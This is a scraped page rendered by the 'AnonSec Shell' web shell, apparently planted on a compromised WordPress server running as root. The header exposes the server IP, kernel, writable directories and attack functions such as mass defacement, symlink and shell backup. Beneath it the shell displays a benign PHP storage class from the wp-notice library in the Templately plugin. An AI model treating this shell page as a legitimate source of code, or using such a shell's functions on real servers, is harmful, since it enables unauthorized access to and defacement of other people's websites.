AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.217.182.67   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/templately/vendor/priyomukul/wp-notice/src/Utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/templately/vendor/priyomukul/wp-notice/src/Utils/Storage.php
<?php

namespace PriyoMukul\WPNotice\Utils;

use function property_exists;

#[\AllowDynamicProperties]
class Storage extends Base {
	private $id          = 'wpnotice';
	private $type        = 'options';
	private $version     = '1.1.0';
	private $storage_key = 'notices';

	public function __construct( $args ) {
		$this->id          = ! empty( $args['id'] ) ? $args['id'] : $this->id;
		$this->type        = ! empty( $args['store'] ) ? $args['store'] : $this->type;
		$this->storage_key = ! empty( $args['storage_key'] ) ? $this->id . '_' . $args['storage_key'] : "{$this->id}_{$this->storage_key}";
	}

	public function __get( $name ) {
		return property_exists( $this, $name ) ? $this->$name : null;
	}

	public function save( $value, $key = '' ) {
		if ( empty( $key ) ) {
			$key              = $this->storage_key;
			$value['version'] = $this->version;
		}

		if ( $this->type === 'options' ) {
			return update_site_option( $key, $value );
		}

		return false;
	}

	public function get( $key = '', $default = false ) {
		$key = empty( $key ) ? $this->storage_key : $key;

		if ( $this->type === 'options' ) {
			return get_site_option( $key, $default );
		}

		return $default;
	}

	public function save_meta( $id, $value = true ) {
		return update_user_meta( get_current_user_id(), "{$this->id}_{$id}_notice_dismissed", $value );
	}

	public function get_meta( $id ) {
		return boolval( get_user_meta( get_current_user_id(), "{$this->id}_{$id}_notice_dismissed", true ) );
	}

	public function remove_meta( $id ) {
		return delete_user_meta( get_current_user_id(), "{$this->id}_{$id}_notice_dismissed" );
	}
}

Anon7 - 2022
AnonSec Team